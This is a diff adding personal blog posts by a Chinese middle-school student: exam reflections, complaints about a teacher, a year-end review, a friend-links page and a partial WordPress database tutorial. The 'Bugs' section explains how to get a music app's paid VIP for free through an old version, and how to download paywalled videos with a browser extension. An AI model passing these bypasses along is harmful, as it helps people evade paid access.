![img](https://image.luming.cool/i/2026/05/10/69fff2233928e.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff224e7880.webp)
+164
View File
@@ -0,0 +1,164 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff231a91be.webp"
title: "24年50周记-月考"
pubDate: "2024-12-14T15:47:00.000Z"
updatedDate: "2024-12-14T15:47:00.000Z"
categories:
- "生活"
tags:
- "校园"
- "考试"
comments: true
---
## 前言
因为没有什么特别有意义的事情发生,所以九下第三次月考便顺理成章地成为了本周的主题。
本篇文章会对我九下第三次月考进行一次总结。
## 顺序
共2天,12月12日~12月13日。
12月12日安排如下:
- 政治 15:40~16:30(开卷)
- 化学 16:50~17:40
- 历史 19:00~19:50(开卷)
- 物理 20:10~21:10
12月13日安排如下:
- 语文 8:00~10:00
- 数学 10:20~11:55
- 英语 13:00~15:40
## 政治
因为第一场考政治,所以考前我手里拿着参考资料看来看去,想着能多记一点到时候就少翻一点。
客观题做起来还挺顺利的,至少那些会跳的坑我都没跳进去。但是主观题第一题给了我当头一棒——由于我以前并未掌握主观题第一题的答题方法,这次考试是我第一次学会并亲身实践。我的写字速度不是很快,所以考试时间过半,我的主观第一题还未完成。
主观题内容:
> 1. 十几年前,在国外的华人很难感受到“年味儿”。现在,中国的春节不仅是全球华人的节日,而且吸引了多国民众。每年春节,代表中国元素的“中国红”都会扮靓国外许多城市,赏花灯、品美食、舞龙舞狮等充满了浓浓中国味的活动,受到了众多外国友人的关注和喜爱。对此,有人认为,随着中华文化对世界的影响越来越大,将逐渐代替其他国家文化,世界文化将不再具有多样性。
>
> 结合材料,运用所学知识,请你对上述观点进行辨别和分析。
说难其实也不难,我一开始想“代替其他国家文化肯定不对啊”,所以就在草稿纸上写下了:
> 1. 文化多样性的意义
> 2. 如何面对文化差异
> 3. 文化之间的误解和冲突
> 4. 中国及其他国家应该怎么做
看似内容不多,但是耗费我15分钟,写满了半页答题卡。估计是我人生中第一次在一道题上写这么多字。
但是直到考试结束前三分钟,我的答题卡第二面还基本是空白。我手心沁满了汗,慌得要死,却又无力改变现实。
后面的题只好草草了事,最终空了至少11分的题。(悲)
总结:下次做主观题时不要一味追求卷面,还要兼顾写字速度。因为主观题第一题的书写量非常大。
## 化学
考前背了背常见化学反应方程式,还挺管用。
道尔顿发明了原子论,阿伏伽德罗发明了分子学说,拉瓦锡发明了质量守恒定律。这三个人我从开始学化学就没背会过,所以几乎每次化学考试出这道题我都会错。
同样的,化学考试也觉得时间不太够用,我是在考试前最后一分钟硬挤出来的答案。
化学卷子丢失,不能精确到题,所以我就简单说说我需要补的内容。
- 历史上著名的几个科学家以及其对化学领域做出的贡献
- 常见的化学反应方程式
- 常见物质的实验室制取方法
- 利用化学方程式进行计算
总的来说,今后需要多背。
## 历史
历史是所有科目中最逆天的。老师在考试前几天给我们人手发了一册万维中考的《面对面》,里面包含初中历史的所有知识点,以及满分小短文、时间轴等资料。
在这场考试开始前,历史老师在班里希沃白板上写了:“一定要拿好《面对面》和《满分小短文》”,一开始我不以为然,但当我看到小论文主题《潮流与变革》的那一刻,我惊呆了:居然是《满分小短文》小册子中第26页的原文,内容100%匹配题目。
当时就觉得这次历史成绩绝对低不了。当我继续做下去时,我发现:所有题目,都能在《面对面》中找到100%匹配的答案。我心潮澎湃,不知道该赞美《面对面》覆盖范围广,还是该赞美老师们面向答案出题。
历史整体考起来还算顺利,没有出现时间不够用的情况。
## 物理
物理没什么好说的,我最擅长的科目。
但但但,最后一题最后一问考的是根据W=n/N 和 P=W/t求用电器实际电压,因为时间不够我没求出来,最后一题得扣一分了(悲)
万恶之源最后一题在这
![img](https://image.luming.cool/i/2026/05/10/69fff2335547a.webp)
考完物理之后我们就回去睡了。很高兴,考试那天晚上没有“晚三”(延时的第三节晚自习)。
## 夜
深夜,我躺在床上,翻来覆去。毛衣穿在身上嫌热,脱了又嫌冷。我整个人处于一种半睡半醒的状态,心里像以往每次考试时一样不安,难受极了。
其中我焦虑的很大原因是~~白天的那几科没考好,没有给这场考试起到一个好头,以及第二天会面临更主要的科目,心中很兴奋。~~
~~还有,当天考场不让带手表,所以我就把手环摘了放在书包里,没有拿回宿舍,导致我莫名焦虑。~~忽然想起来我白天喝了一包黑咖啡,我还寻思为啥就是睡不着呢,寄((
总之就是第一天晚上没睡好,导致第二天早上起床昏昏沉沉的,黑眼圈很重,并且影响到了部分科目的考试。
## 语文
早自习结束前我还在背着《水浒传》里的重要人物形象和《词四首》《课外古诗词四首》的主旨,其中前者对考试提供了不小帮助,后者?啥用都没有……
同化学的知名科学家一样,语文的名人介绍我也是一张白纸。
就比如下图这道题,我就选错了,正确答案是C——契诃夫是俄国作家:
![img](https://image.luming.cool/i/2026/05/10/69fff235b59bf.webp)
阅读题第一篇出的[柳先生的正骨膏](https://www.yuzhenhai.com/view/202003/42305.html),我自己感觉做的还不错,柳先生刺杀日本少佐的情节的确很解气。正好,13号是南京大屠杀公祭日,就有一种…心里很舒服的感觉。
以及,因为失眠导致的精神疲惫:在写作文的时候我的脑子已经懵了,提笔忘字,写不出什么好词好句,也可能是我没灵感了。作文这次听天由命吧。
## 数学
与历史情况相同,数学的最后一道大题是我一天前做过的原题,连数字都没改。
这次数学主要涉及到了九上的二次函数、中心对称和圆等知识点,我掌握的总体还不错,正确率还挺高。
但是有一道题因为紧张没有检查出来而犯了个低级错误:
> 1. 国庆期间,大同古城热闹非凡,各大景区游人如织,大学生小云在东南邑街区卖气球,销售过程中发现每天的销量y(件)和售价x(元/件)之间满足一次函数y=-2x+70的关系,已知一个气球的成本是5元,若不计其他成本,则小云每天获得的最大利润是元。
这道题很简单,由题可列出关于利润w的方程式:
```
w=(x-5)(-2x+70)=-2x²+80x-350
```
然后很简单就可以求出当x=20的时候利润最大。
原本这时候直接把x=20带入w的解析式就能求出利润(450元)的。但是我太紧张,就把w这个解析式当成了【销量】的。最后我把20代入w,算出“销量”,再乘上15元的利润,得出“最大利润”是6750元/天。
一本正经地胡说八道。监考老师看到了估计都想跳槽去卖气球了()
最后是至少错了2道填空题,上限也变成114分了。
## 英语
基础题全对。完形有两道是我很纠结的,我甚至画出来了,但我最终没有改答案。然后就成功错了两道完形,扣了两分。。
英语这门也没啥可说的,无限接近完美。后续巩固一下完形罢()
## 总结
这次月考,我发现了自己的一些问题,总的来说就是:
1. 做题忽然变得很磨蹭
2. 基础知识有欠缺
前者通过改善睡眠质量可以解决,后者则需要在日常生活中加以归纳和读背。九年级第一学期只剩下明年1月9日的期末考了,加油,再创佳绩,无限进步!
+132
View File
@@ -0,0 +1,132 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff259789ae.webp"
title: "24年51周记-教师的傲慢、一些小奖励、烧秸秆的农民、Bugs、来年"
pubDate: "2024-12-20T23:03:00.000Z"
updatedDate: "2024-12-20T23:03:00.000Z"
categories:
- "生活"
tags:
- "校园"
- "考试"
comments: true
---
## 前言
哇塞,本周感觉有很多能记的事情呐,同时,本周我也觉得过的超级快,有种一眨眼就一周的感觉。
## 教师的傲慢
期中考试已结束,英语成绩已出——115。原本我对自己的预估成绩是118,因为我的作文满分,有两道完形填空是必错的。但是令我不解的是我在补全对话的题目上又扣了3分。就因为这三分,暴露出了我们英语老师的许多问题。
当然我不是有意冒犯英语老师,只是提出一些必要的意见,整改不整改看自己了。
### 通过学生给的答案揣测学生家教
补全对话的第一题我的分被扣了,题目如下:
> A: Look! Cindy. Here is a schoolbag. Nobody is here except us.
>
> 1.\***\*\*\*\*\***\_\***\*\*\*\*\***
>
> B: Let me have a look. There is an English book , a notebook and a CD. Look, here is a name "Lucy" on the notebook. This schoolbag must belong to her. Let's go and find her.
我的答案:What's in it?
理由很简单,A说完这句话之后B就把那个包打开看了,并且回答了里面有什么东西。联系上下文来看,下文连续两个句子都在讲包里有什么。
老师的答案:Whose schoolbag is it?
对于老师的答案我当然是不否认的,但我还是提出了自己的答案。没想到没等我说完老师就果断地打断"不行",理由是一句很大声的”你妈没有教过你捡到别人的包不能打开看吗?“
我很恼怒,但并没有在课堂上直接怼她,这件事就以我们俩之间暂时冷战而不了了之。
1. 答案是死的,人是活的。刚考试结束时,我就向英语老师提出了我的歧义答案,她说:”你这个应该也可以,我们出题组到时候再商量商量“。结果三个人居然都否认这个答案。真棒。
2. 一名教师怎么可以通过我对一道题目答案的不同观点来怀疑我的家教是否正常?
3. 如果说我建议他”打开捡来的包看看有什么东西“,那出题人为什么要在答语中连续两句回答包里有什么?
### 盲目支持所谓“标准答案”
为了使大家更有代入感,我仍然放出原题:
> In these videos, not only students, but also parents were having fun. "The kids were so excited," Noel Gonzalez said. "It \_\_\_\_ looked like great fun."
>
> Bile buses make stops like usual buses. They pick up students along the route, and then the whole group rides to school together. --
>
> A.just B.still C.also D.even
我们好多人都选C,包括成绩优异的学生。可是老师偏偏要我们选A,我们询问原因,她也无法解释清楚,只是让我们选A。
A选项如果是just,那么下文就要写这件事的缺点,可是后文并没有提到。A选项明显很牵强。
### 无脑回怼
在我们和英语老师之间的分歧达到一定程度时,她回了一句:“你们一个个来当权威呢?”言外之意即为“教师是绝对的权威”,这也是取题目为"教师的傲慢"的原因之一。
### 推卸责任
本次英语考试的试题为以我的英语老师为首的英语组命题。在考试结束后班主任们总结时,英语老师自信地说:“这次的题是我们出题组原创!”
当我们的答案与老师给出的有严重分歧且英语老师无法解释时,她黑着脸说:“你别看命题人写的是我,题是我们三个人一起出的,我是被甩锅的。”
她在自认为试卷难倒我们时自信地说是自己命题,出了歧义后第一句话便是推脱责任而非勇敢面对。
### 总结
“教师的傲慢”是我基于这几种行为归纳总结出的题目,但我意外发现极客死亡计划上也有一篇《教师的傲慢》,并且表达的思想我完全认同,所以这里贴一下[链接](https://www.geedea.pro/posts/教师的傲慢/)。
## 一些小奖励
本次考试我的语文成绩有进步,并且进入了班级前五,语文老师给我们几个发了一个本本ヾ(≧▽≦\*)o
(本周的周记灵感碎片就是记录在这个本子上的噢~)
![img](https://image.luming.cool/i/2026/05/10/69fff256dc72d.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff258a95f5.webp)
以及协助英语老师编写期末复习知识点小页子,获得了一大把糖和一包鸡肉味的~~啥玩意我忘了~~,反正挺好吃。
(周内吃完了,没拍照,哈哈)
## 烧秸秆的农民
我们学校门口路对面是一片麦地,自从上周开始就有一群农民在半夜焚烧秸秆。本周二,我们学部初一的体育老师忍受不了剧烈的浓烟,报警了。至于发生了什么我还不知道,反正秸秆的烟在周三停了一天。
本周四晚放学,我走出培优教室,在返回宿舍的途中,看到操场上浓烟滚滚,并且地势低的地方聚集了很浓的烟雾,就跟大闹天宫一样,只不过空气是呛鼻的。据培优班老师说,这群农民在报警后保持着“你能奈我何”的态度,十分嚣张。并且警察似乎无法对这件事造成影响。
周四晚上,我在宿舍里看着校门口的明火,无奈地关上窗。
周五一早起来,我滴妈还在烧!他还换了个位置,上次是在麦地里烧,这次是直接在我们学校的围墙外烧!我们在操场上跑操甚至可以直接看到校外明火,无助地看着那烟上升到半空中,再被风吹到操场上空,再落到操场上……整个操场十分壮观,一眼望去全是烟的世界,可视范围大大缩小,鼻子也感觉被强碱了()
这种农民就纯属缺德,烧秸秆偏偏要在学校门口烧,不管他什么目的,让全校数千人承受他一个人的过失带来的后果是可恨可耻的。全校学生骂声一片,编了一堆咒骂的话,甚至改编了《做个文明中国人》,喜剧效果拉满。
## Bugs
我在很久以前发现了一些平台的Bug,并且到现在还未解决。
### 酷狗概念版
在新版本中,酷狗概念版将原有的VIP更名为了“概念版VIP”,并新增了一个“畅听VIP”,该VIP可以以原每日签到的形式获取,且只能以最低音质免费听所有歌曲。
而我之所以说官方是把原VIP`更名`为了概念版VIP,就有原因了。
现在,使用旧版本的酷狗概念版,进入福利→每日听歌领VIP,可以看到,在新版本中显示的“听歌领`畅听VIP`”,在旧版本中显示为“听歌领`概念版VIP`”,点击之后,就可以领取一天的`概念版VIP`
注:概念版VIP在新版本中是需要付费购买的,这个BUG可以使用户在老版本中免费获取概念版VIP。
解决方法也很简单,只需要对调`概念版VIP``畅听VIP``对象名称`(或类似的属性)即可。不知道开发者为什么会犯如此低级的错误且未发现。
### 清某某远视频书
清某某远视频书是需要付费才能观看视频书内的视频的,在我某次把玩浏览器时,我发现清某某远视频书在视频播放页面虽然有激活弹窗,但是其视频会被`AIX智能下载器`插件捕捉到,并完整播放。甚至想下载都不是问题。
这可是一个致命漏洞,往小了说可以让读者免费嫖到学习资源,往大了说就涉及到一个公司的存亡。
解决方法就是当用户未激活时不显示视频,只显示激活弹窗。
## 来年
好快,就要2025了。新的一年,祝大家也祝自己:
`前程似锦``无限进步`
@@ -0,0 +1,87 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff25d9f553.webp"
title: "新年新气象!祝大家元旦快乐!"
pubDate: "2025-01-01T11:06:00.000Z"
updatedDate: "2025-01-01T11:06:00.000Z"
categories:
- "公告"
tags:
comments: true
---
真快,仿佛上一秒还在写2024年元旦文章,现在都已经开始写2025的了。
首先,我在这里祝大家:元旦快乐!蛇年大吉!
回顾一下转瞬即逝的2024,我都做了些什么?
### 工具箱软件著作权
- 8月28日,蓝屏工具箱【运维端】软件著作权证书下发
- 10月19日,蓝屏工具箱【用户端】软件著作权证书下发
- 12月14日,蓝屏工具箱【管理端】软件著作权证书下发
至此,【蓝屏工具箱4.0】软件已取得完整的著作权。
### 新手机
2月12日,父亲同意换掉我那老掉牙的OPPO A83,与我于小米之家花费¥1199购入一台Redmi Note 12R,虽然是低端机,但是这是真正意义上属于我的第一部手机。
### 新平板
7月19日,父亲与我于小米之家花费¥2999购入小米平板6+小米灵感触控笔2代+小米智能触控键盘。这是真正意义上属于我的第一台平板电脑。
### 新移动硬盘
因八下期末成绩优异,母亲奖励我了一块【兰科芯IE.001 512GB】移动硬盘,¥299。
### 新内存条
因笔记本的4GB内存不够用,父亲斥巨资¥200给我换了条8GB的(可能被坑了。。)
### 新充电宝
因手机电池容量较小,父亲斥巨资¥178给我买了个新充电宝(“爵爷”,这个品牌知名吗…?),送了根快充线,很粗,耐扭王。
### 清北研学营
7月16日,我参加了母亲为我报名的【清北研学营】,第一次见识了清华大学和北京大学的校园。北京大学比较现代化,清华大学的校园很大,就像一座城,广袤无垠。
中途因为住宿问题,家长们和举办方产生了激烈的矛盾,我两篇小作文过去化解了冲突。
### 来自姐姐的日常投喂
姐姐经常买好吃的,并且时不时给我一堆。于是我的朋友圈里就多了“来自姐姐的日常投喂”系列,评论区里好多人问:“你姐包邮吗?”()
### Hackintosh
1月26日,我于pdd花费¥80买下了一次黑苹果安装服务。这是我人生中第一次体验macOS,感受到了macOS内存调度机制的厉害(同时开一堆应用的情况下还能畅玩《冰与火之舞》)。
### 一堆域名
2024年,我购买了下列域名:
- kanglm.top1月)
- virelyx.com1月)
- luming520.cn3月)
- lmstudio.top3月)
- kmyl.top6月)
- klm2558.cn9月)
- lmos.fun10月)
统共花费¥199。
### 一堆服务器
今年买了n台服务器,集中在[腾讯云](https://cloud.tencent.com/)和[007IDC](https://www.007idc.cn/)。
腾讯云主要买新加坡服务器,花了178.90元。
007IDC主要买香港和美国服务器,花了718.25元。
明年不能再这么散着瞎买了,太浪费了。
### 来年
2025,迎接我的还有新挑战和新机遇。未来可期,一起加油!
+129
View File
@@ -0,0 +1,129 @@
---
cover: "https://image.luming.cool/i/2026/07/26/6a662e5c66130.webp"
title: "友人"
pubDate: "2025-01-24T01:26:00.000Z"
updatedDate: "2026-07-28T04:03:48.000Z"
categories:
tags:
comments: true
---
## 提交友链
目前仅接受邮箱申请。请先在贵站添加本站友链,随后将贵站信息按以下格式发送到
hi [at] riseforever.cn
```json
[]()+(Logo)
```
[collapse title="我站信息"]
```plaintext
站点名称:路明笔记
站长昵称:Riseforever 或 路明
站点链接:https://luming.cool
站点简介:不慌张,不绝望,不狂妄,不投降。
站点头像:https://cn.cravatar.com/avatar/302380667bdaf4e1390800e62494d4af?s=500&r=X
或 站点Logohttps://image.luming.cool/i/2026/05/10/6a001b4129893.png
(可根据自身情况选用Logo或头像)
站长邮箱:hi[at]riseforever.cn(请手动将`[at]`替换为`@`
```
[/collapse]
友链按照互动频率排序。
---
## 单向链接
[白熊阿丸的小屋](https://blog.bxaw.name)+(https://image.luming.cool/i/2026/07/23/6a619a9ad3e61.webp)
[Vei Blog](https://blog.veitzn.top/)+(https://image.luming.cool/i/2026/06/22/6a3956faa910d.webp)
[莫比乌斯](https://mobius.blog/)+(https://image.luming.cool/i/2026/07/25/6a648121695fc.webp)
## 生活类博主
[悦绮录](https://i.duckxu.com/)+(https://image.luming.cool/i/2026/06/22/6a39572c9ef57.webp)
[小改学习志](https://www.haoyu233.com/)+(https://weavatar.com/avatar/14e584196d31262ea144ab4d75d4c083?s=200)
[老陈爱刷机](https://blog.chenyuxia.com/)+(https://image.luming.cool/i/2026/06/21/6a37fdaf9c4c7.webp)
[往日信笺](https://www.xingmail.cn/)+(https://image.luming.cool/i/2026/06/22/6a39570f5a1b6.webp)
[Horean&#39;s Blog](https://blog.hxrch.top)+(https://image.luming.cool/i/2026/06/21/6a37f998e92c8.webp)
[小岚的杂物间](https://www.guirlan.de/)+(https://weavatar.com/avatar/172530293dcfb25d871a72ccb39b21c2?s=200)
[阿锋的小宇宙](https://blog.feng.pub/)+(https://blog.feng.pub/static/logo/avatar.jpg)
[希记](https://note.moxiify.cn/)+(https://q1.qlogo.cn/g?b=qq&nk=3188468169&s=640)
[Fmkli](https://lli.moe)+(https://image.luming.cool/i/2026/06/21/6a37f9efaef09.webp)
[伏枥之间](https://www.leehenry.top)+(https://image.luming.cool/i/2026/06/22/6a39577800675.webp)
[合荒小站](https://hehuang.site)+(https://image.luming.cool/i/2026/07/18/6a5b17d83080c.webp)
[Pinpe 的云端](https://pinpe.top/)+(https://image.luming.cool/i/2026/06/22/6a39568f421dd.webp)
[蒋音象](https://jiangyx.org/)+(https://image.luming.cool/i/2026/07/11/6a51235da5835.webp)
[摸鱼小窝](https://blog.aistu.cn)+(https://blog.aistu.cn/logo.webp)
[云晓晨](https://blog.kaiqi.wang)+(https://www.kaiqi.wang/favicon.ico)
[柳橙睿](https://www.liuchengrui.cn/)+(https://image.luming.cool/i/2026/06/22/6a395765069a2.webp)
[CC米饭的小世界](https://world.ccrice.com/)+(https://weavatar.com/avatar/39bab898a41e6fa8d7357abd9c283bb7?s=200)
[makotowu](https://makotowu.cnstlapy.cn/)+(https://image.luming.cool/i/2026/06/22/6a3956cf92ebd.webp)
[蘇 SU](https://suus.me)+(https://weavatar.com/avatar/5b986063afb0ee2d78abd40defe3aec607d812b372093008646e137f61023869?sha256=1&d=mp&s=500)
[松種小窝](https://pineseed.cn/)+(https://image.luming.cool/i/2026/06/21/6a37fa0dc1945.webp)
## 技术类博主
[新锐博客](https://blog.xrbk.cn/)+(https://blog.xrbk.cn/favicon.png)
[米雅乐](https://www.miyale.cc/)+(https://image.luming.cool/i/2026/07/23/6a619b7273d45.webp)
[LR.C](https://bbslrc.vxni.ink/)+(https://image.luming.cool/i/2026/06/21/6a37ede8eaad4.webp)
[小景](https://jingyuan-zheng.github.io/zh/)+(https://image.luming.cool/i/2026/07/23/6a62284fa496c.webp)
[XXY の博客](https://blog.xuxiny.top)+(https://q1.qlogo.cn/headimg_dl?dst_uin=3429924750&spec=5)
[圆周率](https://www.yuanzj.top)+(https://image.luming.cool/i/2026/06/21/6a37fa3752ea4.webp)
[MC_Kero blog](https://blog.mckero.com/)+(https://img.cdn1.vip/i/68f3418995084_1760772489.png)
[Levi](https://leviqin.top/)+(https://image.luming.cool/i/2026/06/22/6a3957bedea05.webp)
[KFACBT](https://blog.gytxtx.top/)+(https://image.luming.cool/i/2026/06/22/6a3957de12346.webp)
[重生云](https://xiaochopin.github.io/)+(https://weavatar.com/avatar/a10109bb266cc4eebc8d7992a4977a0c?s=200)
[Echo](https://www.liveout.cn/)+(https://image.luming.cool/i/2026/07/23/6a619b08ec4ad.webp)
[Bensz](https://blognas.hwb0307.com/)+(https://blognas.hwb0307.com/logo.jpg)
## 失联
以下为单删友链 / 网站无法正常访问的博主。
[collapse title="已失联的博主"]
[Limitz_](https://limitz.top)+(https://q1.qlogo.cn/g?b=qq&nk=66870019&s=100)
[/collapse]
## 88x31
欢迎与我交换 88x31 按钮。第一个是本站按钮。若要交换,请先在贵站放置本站按钮,然后电邮联系我进行交换。
<div style="display: inline-block; width: 88px;"><a href="https://www.luming.cool"><img src="https://image.luming.cool/i/2026/07/21/6a5f455105140.gif" alt="路明笔记" style="width: 100%; height: auto; display: block;"></a></div>
<div style="display: inline-block; width: 88px;"><a href="https://blog.bxaw.name/" target="_blank"><img src="https://img.bxaw.name/hotlink-ok/logo/bxaw-88x31.gif" alt="白熊阿丸" style="width: 100%; height: auto; display: block;"></a></div>
<div style="display: inline-block; width: 88px;"><a href="https://blog.verdant.ee/" target="_blank"><img src="https://www.glowisle.me/88x31.gif" alt="映屿" style="width: 100%; height: auto; display: block;"></a></div>
+129
View File
@@ -0,0 +1,129 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff266d39a9.webp"
title: "周度总结1-1:逆风翻盘、吃吃吃"
pubDate: "2025-01-24T09:13:00.000Z"
updatedDate: "2025-01-24T09:13:00.000Z"
categories:
- "生活"
tags:
comments: true
---
很抱歉我拖更了这么久,最近发生的事情很多很多。
寒假可能就只更新这一篇了,在家里实在没什么写作的动力。
以下将按照【离校前】和【离校后】分两个板块叙述。
## 离校前
### 手表被恢复出厂=救赎
> **前情提要**:我们班有一位陈姓同学,他使用的手表是Xiaomi Watch S1,上面有网易云音乐,并且下载了许多歌曲。我经常用他的手表听音乐。
>
> 以及:这位陈姓同学和我[前文](https://i.virelyx.com/471.html)提到的“和我一起挨处分”的同学是同一个人。
上周五下午放学前的最后一节课,陈同学未经同意把我的手环拿去玩(我的手环上有一些小游戏),并把他的手表丢给了我——我的天,上面的一百多首歌被删了个精光!这可怎行?于是我说时迟那时快,将他的手表恢复出厂设置了。
他似乎很生气,一直笑骂道:“有本事你不要让我再看到你的手表!”
期末考试那周日,我们返校。当天中午,由于我要洗头,所以便把手环扔到了我的床上。霎时,我想到了什么,但几乎来不及了——陈同学已经调出了我手环的“恢复出厂设置”确认对话框。我急忙前去抢夺,但他按下了确认。一声哀嚎,我便失去了我掌握时间用的手环。
一开始,我还很不高兴,强迫他寻找方法将手环恢复原样,但这并未见效。渐渐地,我也不再向他追究,并逐渐习惯了没有手环的生活。
考前,老师在教室里给我们重申了一遍又一遍——这次考试是全市统考,考场不允许佩戴任何电子产品进入考场。期末考试那天上午,我们考语文、数学两科。陈同学大抵是忘记了这个规则,戴着手表进入了语文考场。不出所料,他的手表——被没收了。第二节考完后,我在楼下看到了一张通报,上面显赫地写着陈同学的大名。
唉,他的上一份处分还没有撤销,新的处分就接踵而至,以前的那份也不能撤销了,真惨。当然,如果不是他把我的手表恢复出厂,那么这份处分上可能还有我的名字。因此,陈同学间接性救了我。
### 考场遇Crush
> 本段没有什么阅读价值,可以直接跳过。
>
> **前情提要**:我们这次考试的考场划分方式与以往不同:以往是按照成绩划分1~6考场,现在是按照姓氏笔画来划分1~6考场。这次考试,Crush就很巧地被分到了我的正左边。
>
> 另:Crush这个词可能形容得不够准确,应该说是单相思/tg。她对我并没有感情。(别笑…)
我并不知道这算好事还算坏事。同学都说“考试遇Crush是大忌”,我当时并不这么认为,以为这是一次难得的靠近她的机会。刚进入考场的时候,我莫名很紧张。不敢和她对视,更不敢和她搭话。现在想起来还挺尬的。不过令我没想到的是,她和我说的第一句话,居然是在语文考试结束时。语文题目我答得很赶,她问我:“所以你最后写完了吗?”,我的回答就不说了,比钢筋还直,属于下意识的了。现在想想真傻,不知道有什么好紧张的。
接下来就是煎熬的考试……休息中途她又问了我几个问题,我依旧是钢筋式回答。唉,要是我能让时间静止,再去打个草稿该多好啊。
### 估分
> **前情提要**:这次期末考试我对自己的期望挺高,总分830我预估能考783。这也为下文的`落差`做了铺垫。
各科考完后,听着其他同学对于试题难度的抱怨,我心里喜滋滋的。因为他们提到的难点我都觉得自己做得不错。不卖关子,直接说我预估的分。
| 科目 | 预估分/满分 | 扣除分数 |
| ---- | --------------------- | -------- |
| 语文 | 105/120 | -15 |
| 数学 | 117/120 | -3 |
| 英语 | 120/120 | -0 |
| 物理 | 100/100 | -0 |
| 政治 | 90/100 | -10 |
| 历史 | 90/100 | -10 |
| 化学 | 95/100 | -5 |
| 体育 | (这科出成绩了)66/70 | -4 |
| 总分 | 783/830 | -47 |
### RTools&工具箱元年
由于[蓝屏工具箱](https://tools.chgskj.cn/)是我初学编程时的作品,其代码的**扩展性和易读性**极低,**运维成本**越来越高,因此我不打算再继续维护蓝屏工具箱了,自己开了个新坑[RTools](https://tools.rsvsoft.cn/)。
我的同事曾调侃道“2024年是工具箱元年”,因为我在互联网上见到了鱼龙混杂的工具箱。我简单将这些工具箱分了一下类:
> **声明:**本段提到的“工具箱”不涉及`uTools`之类的大厂工具箱,仅针对同龄人(13~15岁群体)制作的工具箱。
| 类型 | 特点 |
| ---------- | ------------------------------------------------------------------ |
| 简单封装型 | 只是将部分绿色版软件打包成工具箱,离线使用,不支持扩展。 |
| 在线下载型 | 蓝屏工具箱的类型,体积小,在线使用,专攻可扩展模块,想用就下。 |
| 融合型 | 既包含了可离线使用的系统快捷操作项,还包含简单的在线应用扩展模块。 |
我见过的其中大部分都是“简单封装型”和“融合型”,很少有专门做“在线下载型”的工具箱。做“在线下载型”的似乎只有蓝屏工具箱。当然,这并不代表蓝屏工具箱是最好的。我个人其实更认可“融合型”的工具箱,因为纯在线工具箱可能在离线环境下就不能使用了。
但是RTools并不打算走融合型道路,我仍然打算走“在线下载型”道路。我自我感觉更擅长制作应用商店,那就尝试把它做到极致吧。
> **RTools**可能不会在今年过年时发版。它需要一段时间来被完善。我们会尽快。
### 落差
我考砸了。
预估的是783分,实际可能连723都考不上。
语文作文我们全校几乎都写跑题了(除了选择议论文的);数学最后一道大题很简单,但我脑子一片空白,试卷也是;英语作文莫名奇妙被扣了4分,最终只考了115;物理因为审题错误,最终也只考了96;政治答题太磨叽,导致第二面只花费10分钟做完,分也基本扣完,最终考了65……
成绩出来时我脑子一片空白。
不多叙述了。
### 逆风翻盘
我去参加了**洛阳理工学院附属中学**的**领军班**测试。很遗憾,我没有考上领军班。但是校方和我母亲签约了**强基班**(通过普通中考能够进入的最好的班型)。这算是给我中考有了点保底。开心。
---
## 离校后
### 放亿点点毒
寒假伊始,我和父母姐姐一同去聚餐。出去吃了鱼和大虾~
![img](https://image.luming.cool/i/2026/05/10/69fff2697f153.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff26aea42e.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff26d2e0e3.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff26e572de.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff26f8baa3.webp)
### 最后
提前祝看到本篇文章的所有朋友们:新年快乐!万事如意!
祝学生朋友们:学业顺利,考神附体!
祝老师们:事业有成,健康顺遂!
@@ -0,0 +1,110 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff28cf0c16.webp"
title: "WordPress数据库基础修改教程"
pubDate: "2025-01-25T19:35:00.000Z"
updatedDate: "2025-01-25T19:35:00.000Z"
categories:
- "科技"
tags:
- "WordPress"
comments: true
---
> 人非圣贤,孰能无过。我也是一名学习人,难免会犯错误。如果本文有任何不恰当的地方/您有更优的方法,请您在本篇文章的评论区留言,我将第一时间采纳。谢谢您!
## 引言
在WordPress运维过程中,相信很多站长遇到过一些“棘手”的问题:
> - 我的WordPress密码忘记了,并且未配置SMTP,导致无法登录,怎么办?
> - 我想迁移WordPress站点,但我不知道该站点对应的数据库,怎么办?
> - 我更改了WordPress站点的域名,但我忘了在WP后台更改站点地址了,现在无法正常访问,怎么办?
在本期教程中,这些问题都能迎刃而解。
## 前提准备
需要实现本期教程的全部内容,你需要具备以下条件:
> 非必要准备:
>
> 面板:宝塔面板/1Panel/XP/青龙等[/tip] [tip
>
> 必要准备:
>
> 软件:MySQLphpMyAdmin[/tip]
如果具备,那么小编将按照问题顺序开始逐步解决~
## 修改WordPress后台密码
相信很多朋友会遇到WP后台莫名无法登录,且因为未配置SMTP,无法通过邮箱找回密码的情况。无论是因为忘记了密码还是其它,大家现在面临的问题一定是WP后台无法正常登录。
此时,我们可以通过修改WordPress数据库来强制更改管理员账户的密码。
以宝塔面板为例,我们用phpMyAdmin打开WordPress站点所在数据库。展开数据列表后,选中“wp_users”表并找到自己的账户。
![img](https://image.luming.cool/i/2026/05/10/69fff2894f4c4.webp)
在user_pass这一列,可以看到用户的密码。
这里我们需要用到一个工具——[WordPress密码在线生成器](http://web.chacuo.net/safewordpress)。点击链接进入后,输入想要设置的新密码,再点击“生成wordpress密码”按钮,即可获得一串加密文本。
![img](https://image.luming.cool/i/2026/05/10/69fff28a3dcb7.webp)
最后,将这串文本复制,并替换phpMyAdmin中用户的密码项,即可完成密码的修改。
Enjoy it !
## 查看WordPress站点对应的数据库名
首先必须清楚自己想查找站点的对应目录(这个应该没人会不知道吧)
以宝塔面板为例,在“网站”选项卡中点击欲查看网站的“根目录”项,即可进入网站目录。
![img](https://image.luming.cool/i/2026/05/10/69fff28b0e518.webp)
进入WP站点的根目录,我们可以直接往下翻,找到一个名为“wp-config.php”的文件,这个文件就存储着我们需要的数据库信息。
使用任意编辑器打开此文件,一般可以直接看到形如下方的数据库信息:
```
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'xxxxxxxxxxxx' );
/** Database username */
define( 'DB_USER', 'xxxxxxxxxxxx' );
/** Database password */
define( 'DB_PASSWORD', 'xxxxxxxxxxxx' );
